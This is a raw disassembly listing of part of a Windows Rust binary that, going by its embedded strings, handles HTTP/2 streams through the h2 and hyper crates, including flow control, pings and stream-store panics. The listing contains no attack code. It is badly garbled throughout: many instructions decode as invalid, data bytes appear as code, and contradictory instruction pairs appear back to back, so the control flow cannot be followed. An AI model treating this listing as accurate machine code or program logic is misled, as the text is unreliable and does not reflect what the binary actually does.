lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140161290
ud2
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_buffer.rs
mov edx, 0x25
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_buffer.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rax, [rsp + 0xd4]
jmp 0x1400ee8e1
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x100], rax
mov byte [rsp + 0x108], r15b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4c98]
lea r8, [rsp + 0x100]
mov edx, 0x2b
call fcn.140161200
ud2
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x100], rax
mov byte [rsp + 0x108], r8b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4c78]
lea r8, [rsp + 0x100]
mov edx, 0x2b
call fcn.140161200
ud2
lea rax, [rsp + 0x61c]
jmp 0x1400ee934
mov qword [rsi], 3
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_futuremap.rs
mov edx, 0x28
call fcn.140160fb0
ud2
ud2
mov byte [rsp + 0x100], al
lea rax, [0x1401d3d88]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_WINDOW_UPDATE_frame
lea r9, [0x1401d4b78]
lea r8, [rsp + 0x100]
mov edx, 0x1b
call fcn.140161200
ud2
mov dword [rsp + 0x100], 3
lea rax, [0x1401d3dc0]
mov qword [rsp + 0x20], rax
lea rcx, str.unexpected_flow_control_state
lea r9, [0x1401d4b38]
lea r8, [rsp + 0x100]
mov edx, 0x1d
call fcn.140161200
ud2
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x100], rax
mov eax, dword [rsp + 0xc0]
mov byte [rsp + 0x108], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400eec18
mov qword [rsp + 0x100], rsi
mov byte [rsp + 0x108], dil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jmp 0x1400eebd5
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
lea rax, [0x140204680]
mov qword [rsp + 0x110], rax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x118], xmm0
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
lea rcx, [rsp + 0x100]
call fcn.140160e20
ud2
mov qword [rsp + 0x100], rsi
mov byte [rsp + 0x108], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
jae 0x1400eef06
invalid
add cl, ch
sbb edi, ebp
invalid
invalid
jae 0x1400eef06
invalid
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streamsprioritize.rsinvalid_frame
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, [0x1401a825e]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32
mov edx, 0x31
call fcn.140160fb0
ud2
lea rcx, str.pong_received_implies_ping_sent_at
adc eax, esi
or eax, dword [rax]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2ping.rs
mov edx, 0x22
call fcn.140161290
ud2
add eax, 0xbc68a
mov edx, 0x1f
call fcn.140161290
ud2
invalid
or ecx, dword [rax - 0x73]
or eax, 0xbc61f
lea rcx, str.bdp_enabled_implies_bytes
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2ping.rs
mov edx, 0x19
sbb dword [rax], eax
add byte [rax], al
sbb dword [rax], eax
add byte [rax], al
call fcn.140161290
ud2
lea rcx, str.assertion_failed:__id.is_zero__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcprotopeer.rs
lea r8, [0x1401a7eb0]
mov edx, 0x1f
call fcn.140160fb0
and byte [rdi], al
add byte [rdi], cl
invalid
mov byte [rsp + 0x100], al
lea rax, [0x1401d3dd8]
invalid
invalid
add cl, ch
std
invalid
invalid
mov dword [rsp + 0x100], 3
lea rax, [0x1401d3df0]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xe4e75
jmp 0x1400eed07
call fcn.1400138d0
ud2
cmp r12d, 0x3b9aca00
setne r13b
mov rdi, qword [rbp - 0x48]
mov rcx, rdi
mov rdx, qword [rbp - 0x50]
lea r12, [rbp + 0x28]
mov r8, r12
call fcn.1400de7e0
mov rcx, rdi
mov rdx, r12
mov r8, r15
call fcn.1400717b0
mov rcx, r15
mov rdx, r12
mov r8d, r13d
call fcn.14006f170
mov rax, qword [rsi + 0x1e8]
cmp rax, r14
sbb rbx, 0xffffffffffffffff
cmp rax, r14
sbb r14, 0
cmp rbx, r14
jae 0x1400efcd6
cmp qword [rsi + 0x200], rbx
mov r8, qword [rbp - 0x18]
jbe 0x1400f0505
mov rcx, qword [rsi + 0x1f0]
test rcx, rcx
je 0x1400f0505
mov rdx, rbx
shl rdx, 4
mov eax, dword [rcx + rdx + 8]
mov ecx, dword [rcx + rdx + 0xc]
mov qword [rbp + 0x28], r8
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x34], eax
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], eax
cmp qword [rsi + 0x1b8], rcx
jbe 0x1400f041d
mov rdi, qword [rsi + 0x1a8]
mov edi, dword [rsi + 0x1a8]
test rdi, rdi
je 0x1400f041d
imul rdx, rcx, 0x130
cmp dword [rdi + rdx], 2
je 0x1400f041d
add rdi, rdx
cmp dword [rdi + 0x114], eax
jne 0x1400f041d
mov r12d, dword [rdi + 0x48]
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], eax
cmp dword [rdi], 2
je 0x1400f0426
cmp dword [rdi + 0x114], eax
jne 0x1400f0426
cmp byte [rdi + 0x50], 6
jb 0x1400efc8b
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400efb6b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400f0564
mov qword [0x140215360], rax
mov r8d, 0x26
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400f0564
mov r13, rax
movups xmm0, xmmword [0x1401a84af]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1401a849f]
movups xmmword [rax], xmm0
movabs rax, 0x65706970206e656b
mov qword [r13 + 0x1e], rax
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400efbd4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400f0553
add byte [rax], al
add byte [rax], al
mov qword [0x140215360], rax
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400f0553
mov qword [rax], r13
mov qword [rax + 8], 0x26
mov qword [rbp - 0x38], rax
mov qword [rax + 0x10], 0x26
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400efc2e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400f0575
mov qword [0x140215360], rax
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400f0575
lea r13, [rdi + 0x50]
mov rcx, qword [rbp - 0x38]
mov qword [rax], rcx
lea rcx, fcn.140022090
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0xb
inc rax
lea rcx, [rbp + 0x38]
mov rdx, rax
call fcn.1400696c0
mov rax, qword [rbp + 0x58]
mov qword [r13 + 0x20], rax
movups xmm0, xmmword [rbp + 0x38]
movups xmm1, xmmword [rbp + 0x48]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x1400efcac
call qword [rax + ioctlsocket]
mov rax, qword [rdi + 0xa8]
mov rcx, qword [rdi + 0xb0]
mov qword [rdi + 0xa8], 0
test rax, rax
je 0x1400efa40
call qword [rax + ioctlsocket]
jmp 0x1400efa40
cmp dword [rsi + 0x60], 0
je 0x1400efeaf
mov r14d, dword [rsi + 0x6c]
mov edi, dword [rsi + 0x70]
mov ecx, dword [rsi + 0x64]
mov eax, dword [rsi + 0x68]
nop dword [rax]
mov edx, ecx
xor edx, r14d
mov r8d, eax
xor r8d, edi
or r8d, edx
sete r13b
mov edx, ecx
jne 0x1400efd80
mov dword [rbp + 0x18], r14d
mov dword [rbp + 0x1c], edi
mov r9, qword [rsi + 0x1b8]
cmp r9, r14
jbe 0x1400f041d
mov r8, qword [rsi + 0x1a8]
test r8, r8
je 0x1400f041d
imul r10, r14, 0x130
cmp dword [r8 + r10], 2
je 0x1400f041d
add r10, r8
cmp dword [r10 + 0x114], edi
jne 0x1400f041d
cmp dword [r10 + 0xe8], 0
jne 0x1400f051f
mov dword [rsi + 0x60], 0
mov r12d, edi
mov ebx, r14d
mov r10, r14
jmp 0x1400efe00
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], eax
mov r9, qword [rsi + 0x1b8]
add dword [rax], eax
add byte [rcx + 0x39], cl
ror dword [rdi], 1
invalid
nop
invalid
add byte [rax], al
add dword [rax], eax
add byte [rcx + 0x39], cl
ror dword [rdi], 1
xchg byte [rax + 0x4c000006], dl
mov eax, dword [rsi + 0x1a8]
mov r8, qword [rsi + 0x1a8]
test r8, r8
je 0x1400f0426
imul r10, rdx, 0x130
xor byte [rcx], al
add byte [rax], al
cmp dword [r8 + r10], 2
je 0x1400f0426
add r10, r8
cmp dword [r10 + 0x114], eax
jne 0x1400f0426
mov ebx, dword [r10 + 0xec]
mov r12d, dword [r10 + 0xf0]
cmp dword [r10 + 0xe8], 0
mov dword [r10 + 0xe8], 0
je 0x1400f0539
mov dword [rsi + 0x60], 1
mov dword [rsi + 0x64], ebx
mov dword [rsi + 0x68], r12d
mov r10, rdx
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], eax
cmp r9, r10
jbe 0x1400f0426
imul r9, r10, 0x130
cmp dword [r8 + r9], 2
je 0x1400f0426
add r8, r9
add eax, ecx
cmp dword [r8 + 0x114], eax
jne 0x1400f0426
mov byte [r8 + 0x127], 0
mov r8, qword [rbp - 0x18]
mov qword [rbp + 0x28], r8
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x34], eax
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], eax
cmp qword [rsi + 0x1b8], rdx
add byte [rdi], cl
xchg bl, al
invalid
add byte [rax], al
mov rcx, qword [rsi + 0x1a8]
test rcx, rcx
je 0x1400f041d
add byte [rax + 0x69], cl
sal byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xf02113c], al
test byte [rdx + 0x48000005], ah
add ecx, edx
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x1400f041d
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x1400f041d
cmp dword [rcx + 0x48], 0x3b9aca00
setne r8b
mov rcx, r15
lea rdx, [rbp + 0x28]
call fcn.14006f170
mov eax, r12d
mov ecx, ebx
test r13b, r13b
je 0x1400efcf0
lea rdi, [rsi + 0x88]
lea rbx, [rbp + 0x38]
mov r12, qword [rbp - 0x18]
movzx r14d, byte [rbp + 0x6f]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r8, r12
call fcn.1400758e0
cmp qword [rbp + 0x38], 0
je 0x1400efef5
mov rcx, r15
mov rdx, rbx
mov r8b, 1
call fcn.14006f170
jmp 0x1400efed0
test r14b, r14b
je 0x1400eff35
lea rdi, [rsi + 0x74]
lea rbx, [rbp + 0x38]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r8, r12
call fcn.140075b00
cmp qword [rbp + 0x38], 0
je 0x1400eff35
mov rcx, r15
mov rdx, rbx
xor r8d, r8d
call fcn.14006f170
jmp 0x1400eff10
mov qword [rbp - 0x10], 2
mov qword [rbp + 0x10], 0
lea rdi, [rsi + 0xdc]
lea r14, [rbp - 0x3c]
lea rbx, [rbp + 0x18]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r8, r12
call case.0x14006cccb.172
cmp qword [rbp + 0x18], 0
cmp dword [rbp + 0x18], 0
cmp dword [rbp + 0x18], 0
je 0x1400effd3
mov rcx, qword [rbp + 0x18]
mov edx, dword [rbp + 0x20]
mov eax, dword [rbp + 0x24]
mov dword [rbp - 0x40], edx
mov dword [rbp - 0x3c], eax
cmp qword [rcx + 0x10], rdx
jbe 0x1400f042c
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400f042c
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x1400f042c
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x1400f042c
cmp dword [rcx + 0x48], 0x3b9aca00
setne r8b
mov rcx, r15
mov rdx, rbx
call fcn.14006f170
jmp 0x1400eff60
mov r8, qword [rbp - 0x10]
cmp r8, 2
je 0x1400f005c
lea rdx, [rbp + 8]
mov rcx, qword [rbp - 8]
push rbp
or byte [rax - 0x75], cl
clc
mov rax, qword [rbp]
test r8, r8
je 0x1400f0000
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
invalid
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rbp - 0x10]
cmp r8, 2
je 0x1400f005c
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov rax, qword [rbp]
test r8, r8
je 0x1400f0030
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rbp - 0x10]
cmp rax, 2
je 0x1400f005c
test rax, rax
je 0x1400f005c
mov rax, qword [rbp - 8]
lock dec qword [rax]
jne 0x1400f005c
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
call fcn.140069a20
cmp dword [rsi + 0xc8], 0
je 0x1400f025b
mov r14d, dword [rsi + 0xd4]
mov edi, dword [rsi + 0xd8]
mov ecx, dword [rsi + 0xcc]
mov eax, dword [rsi + 0xd0]
nop word cs:[rax + rax]
mov edx, ecx
xor edx, r14d
mov r8d, eax
xor r8d, edi
or r8d, edx
sete r13b
mov edx, ecx
jne 0x1400f0120
mov dword [rbp + 0x28], r14d
mov dword [rbp + 0x2c], edi
mov r9, qword [rsi + 0x1b8]
cmp r9, r14
jbe 0x1400f04b5
mov r8, qword [rsi + 0x1a8]
test r8, r8
je 0x1400f04b5
imul r10, r14, 0x130
imul edx, esi, 0x130
cmp dword [r8 + r10], 2
je 0x1400f04b5
add r10, r8
cmp dword [r10 + 0x114], edi
jne 0x1400f04b5
cmp dword [r10 + 0xb8], 0
mov eax, 0
jne 0x1400f051f
mov dword [rsi + 0xc8], 0
mov r12d, edi
mov ebx, r14d
mov r10, r14
jmp 0x1400f01a9
mov dword [rbp + 0x28], ecx
mov dword [rbp + 0x2c], eax
mov r9, qword [rsi + 0x1b8]
cmp r9, rdx
jbe 0x1400f0465
xchg byte [rdi], ch
add eax, dword [rax]
invalid
mov r8, qword [rsi + 0x1a8]
test r8, r8
je 0x1400f0465
imul r10, rdx, 0x130
cmp dword [r8 + r10], 2
je 0x1400f0465
add r10, r8
cmp dword [r10 + 0x114], eax
jne 0x1400f0465
mov ebx, dword [r10 + 0xbc]
mov r12d, dword [r10 + 0xc0]
cmp dword [r10 + 0xb8], 0
mov dword [r10 + 0xb8], 0
je 0x1400f0539
mov dword [rsi + 0xc8], 1
mov dword [rsi + 0xcc], ebx
mov dword [rsi + 0xd0], r12d
mov r10, rdx
mov dword [rbp + 0x28], ecx
mov dword [rbp + 0x2c], eax
cmp r9, r10
jbe 0x1400f0465
imul r9, r10, 0x130
cmp dword [r8 + r9], 2
je 0x1400f0465
add r8, r9
cmp dword [r8 + 0x114], eax
jne 0x1400f0465
mov byte [r8 + 0x121], 0
mov dword [rbp + 0x28], ecx
mov dword [rbp + 0x2c], eax
cmp qword [rsi + 0x1b8], rdx
jbe 0x1400f04b5
mov r8, qword [rsi + 0x1a8]
test r8, r8
je 0x1400f04b5
imul rdx, rdx, 0x130
cmp dword [r8 + rdx], 2
je 0x1400f04b5
add r8, rdx
cmp dword [r8 + 0x114], eax
jne 0x1400f04b5
cmp dword [r8 + 0x48], 0x3b9aca00
setne r8b
mov rdx, qword [rbp - 0x18]
mov qword [rbp + 0x38], rdx
mov dword [rbp + 0x40], ecx
mov dword [rbp + 0x44], eax
mov rcx, r15
lea rdx, [rbp + 0x38]
call fcn.14006f170
mov eax, r12d
mov ecx, ebx
test r13b, r13b
je 0x1400f0090
lea rdi, [rsi + 0xf0]
lea r12, [rbp + 0x1c]
lea rbx, [rbp + 0x28]
lea ebx, [rbp + 0x28]
lea r14, [rbp + 0x38]
mov r13, qword [rbp - 0x18]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call fcn.140071910
mov rax, qword [rbp + 0x28]
test rax, rax
je 0x1400f02fe
mov edx, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x34]
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x1c], ecx
cmp qword [rax + 0x10], rdx
jbe 0x1400f045f
mov r8, qword [rax]
test r8, r8
je 0x1400f045f
imul r9, rdx, 0x130
cmp dword [r8 + r9], 2
je 0x1400f045f
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x1400f045f
cmp dword [r8 + 0x48], 0x3b9aca00
setne r8b
mov qword [rbp + 0x38], rax
mov dword [rbp + 0x40], edx
mov dword [rbp + 0x44], ecx
mov rcx, r15
mov rdx, r14
call fcn.14006f170
jmp 0x1400f0280
cmp byte [rbp - 0x1c], 0
mov rdi, qword [rbp - 0x30]
jne 0x1400f031b
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400f03ee
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp byte [rbp - 0x20], 0
jne 0x1400f033d
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400f0404
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor eax, eax
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1401666c0
test al, al
jne 0x1400f031b
mov byte [rdi + 8], 1
jmp 0x1400f031b
call fcn.1401666c0
test al, al
jne 0x1400f033d
mov rax, qword [rbp - 0x28]
mov byte [rax], 1
jmp 0x1400f033d
lea rax, [rbp + 0x1c]
jmp 0x1400f04b9
lea rax, [rbp + 0x1c]
jmp 0x1400f0469
mov qword [rbp + 0x28], r14
lea rax, [0x14006a5f0]
mov qword [rbp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 1
mov qword [rbp + 0x58], 0
lea rax, [rbp + 0x28]
jmp 0x1400f04e7
mov qword [rbp - 0x10], r12
jmp 0x1400f04bd
lea rax, [rbp + 0x2c]
mov qword [rbp - 0x10], rax
lea rax, [0x14006a5f0]
mov qword [rbp - 8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 1
mov qword [rbp + 0x58], 0
lea rax, [rbp - 0x10]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rbp + 0x38]
call fcn.140160e20
ud2
lea rax, [rbp + 0x2c]
mov qword [rbp - 0x10], rax
lea rax, [0x14006a5f0]
mov qword [rbp - 8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 1
mov qword [rbp + 0x58], 0
lea rax, [rbp - 0x10]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rbp + 0x38]
call fcn.140160e20
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov ecx, 1
mov edx, 0x26
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400f05aa
ud2
mov rcx, r13
mov rdx, rdi
mov r8, r15
call fcn.14014eb50
cmp qword [rbp + 0x8e8], 0
mov rsi, qword [rbp + 0x8f0]
lock or byte [rax], al
add byte [rdi], cl
invalid
xchg esp, eax
add byte ss:[rax], al
lock or byte [rax], al
add byte [rdi], cl
test dword [rsi + rsi - 0x74b40000], edx
mov ch, 0xf8
or byte [rax], al
add bl, dh
movq mm0, qword [r12 + 0x10]
and al, 0x10
mov r14, qword [rbp + 0x8f8]
movdqu xmm0, xmmword [r12 + 0x10]
and al, 0x10
and al, 0x10
movdqa xmmword [rbp + 0x760], xmm0
test rsi, rsi
jne case.0x1400e8a72.33
jmp 0x1400f5188
mov ebp, 0x8e8
add byte [rax - 0x75], cl
mov ch, pe_nt_image_headers64
or byte [rax], al
add byte [rdi], cl
test dword [rbp + 0x36], ecx
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov rsi, qword [rbp + 0x8f0]
jne 0x1400f52b0
mov r14, qword [rbp + 0x8f8]
movdqu xmm0, xmmword [r12 + 0x10]
movdqa xmmword [rbp + 0x760], xmm0
movq qword [rbp + 0x760], mm0
test rsi, rsi
je 0x1400f1e71
movaps xmm0, xmmword [rbp + 0x760]
movaps xmmword [rbp + 0x280], xmm0
movdqa xmm0, xmmword [rbp + 0x280]
outsd dx, dword [rsi]
test dword [rax + 0x48000002], eax
lea eax, [rbp + 0x8d0]
outsd dx, dword [rsi]
test dword [rax + 0x48000002], eax
lea eax, [rbp + 0x8d0]
movdqu xmmword [rax], xmm0
mov r13, qword [rdi + 0x360]
mov qword [rbp + 0x8c0], rsi
mov qword [rbp + 0x8c8], r14
mov dword [rbp + 0x8c8], esi
mov qword [rbp + 0xa30], 2
add byte [rax - 0x39], cl
test dword [rax + 0xa], edx
or al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
invalid
or al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
inc byte [0x1855d9ee5]
jb 0x1400f6226
jb 0x1400f6226
lea rdx, [r14 - 5]
cmp rdx, 3
jbe 0x1400f623c
movzx eax, byte [rsi + 3]
mov cl, 1
cmp rax, 9
ja 0x1400f1fad
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
imul ecx, dword [rcx + rdx + 0x14634900], 0xffffff80
add rdx, r8
jmp rdx
mov esp, dword [rdx]
test cl, cl
je 0x1400f1df0
cmp r12d, 2
je 0x1400f1df0
mov r13b, 0xa
mov eax, 1
or byte [rbx], 0
add byte [rax - 0x7a76b7ff], dh
mov dword [rbp + 0xb88], eax
add byte [rax - 0x73], cl
add eax, 0xe1d9d
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
xor eax, eax
ror byte [rax - 0x77], 0x85
invalid
or eax, dword [rax]
add byte [rcx], dh
invalid
ror byte [rax - 0x77], 0x85
movabs al, byte [0xc485c7db3100000b]
or eax, dword [rax]
add byte [rcx], dh
fcmovnb st(0), st(7)
invalid
test esp, eax
mov dword [rbp + 0xbc4], 0
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [0x140204680]
add byte [rax], al
add byte [rax], al
lea rax, [0x140204680]
mov qword [rbp + 0xb98], rax
lea r12, [rbp + 0x8f0]
mov r15, qword [rbp + 0xbb8]
mov rsi, qword [rbp + 0x8d8]
test sil, 1
jne 0x1400f2b53
invalid
scasd eax, dword [rdi]
invalid
add byte [rax], al
invalid
test dword [rdi - 0xffffff3], ebp
dec qword [rsi + 0x20]
lock dec qword [rsi + 0x20]
jne 0x1400f2b7c
mov rax, qword [rsi + 0x20]
cmp qword [rsi + 8], 0
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, 0x76269
je 0x1400f1dd0
xor edx, edx
call r14
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call r14
jmp 0x1400f2b7c
and r15d, 0xffffff7f
mov ebx, r15d
bswap ebx
movzx eax, al
lea rcx, [0x14020a990]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov byte [rbp + 0xb68], r8b
mov r8d, 9
lea rcx, [rbp + 0x8e8]
lea rdx, [rbp + 0x8c0]
call fcn.140017350
dec dword [rax - 0x75]
mov ch, 0
or dword [rax], eax
add byte [rax - 0xa], al
invalid
invalid
jne 0x1400f244d
lock dec qword [rsi + 0x20]
jne 0x1400f2476
mov rax, qword [rsi + 0x20]
cmp qword [rsi + 8], 0
or byte [rax], al
je 0x1400f2464
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400f2464
mov byte [rdi + 0x1b1], 0
nop dword [rax + rax]
mov rbx, qword [rdi + 0x198]
cmp qword [rdi + 0x1a0], rbx
jne 0x1400f1ea4
mov edx, 1
mov rcx, r15
call fcn.1400175d0
mov rbx, qword [rdi + 0x198]
add dword [rax], eax
invalid
cmp rbx, 0xffffffffffffffff
je 0x1400f1f92
mov rsi, qword [rdi + 0x178]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x49], cl
add byte [rcx], 0
add byte [rax - 0x75], cl
test dword [rax + 0x48000008], esi
mov eax, dword [rax]
mov r14, qword [rdi + 0x180]
mov rax, qword [rbp + 0x8b0]
mov rax, qword [rax]
cmp rax, rbx
jne 0x1400f1ee6
mov edx, 0x40
mov rcx, r15
mov ecx, edi
mov ecx, edi
call fcn.1400175d0
sub rax, rbx
add rbx, qword [r15]
mov qword [rbp + 0x760], rbx
mov dword [rbp + 0x760], ebx
add byte [rax - 0x77], cl
test dword [rax + 7], ebp
mov qword [rbp + 0x768], rax
add byte [rax], al
lea rax, [rbp + 0x768]
movups xmmword [rax + 8], xmm6
mov qword [rbp + 0x3a0], rbx
movabs al, byte [0x8b48f18948000003]
xchg ebp, eax
enter reloc.WS2_32.dll_ioctlsocket, 0
movabs al, byte [0x8b48f18948000003]
enter reloc.WS2_32.dll_ioctlsocket, 0
lea r8, [rbp + 0x760]
test dword [rax + 7], esp
add byte [rax], al
call qword [r14 + 0x18]
call qword [rsi + 0x18]
test rax, rax
test eax, eax
jne 0x1400f4fd2
mov rsi, rdx
test rdx, rdx
jne 0x1400f52b0
jp case.0x1400c929f.152
add byte [rax], al
test dword [rdx + 0x33], edi
jp case.0x1400c929f.152
add byte [rax], al
mov rdx, qword [rbp + 0x768]
mov rcx, qword [rbp + 0x770]
invalid
cmp rcx, rdx
ja 0x1400f6199
xchg dword [rdx + rax*2], ecx
add byte [rax], al
add byte [rax], al
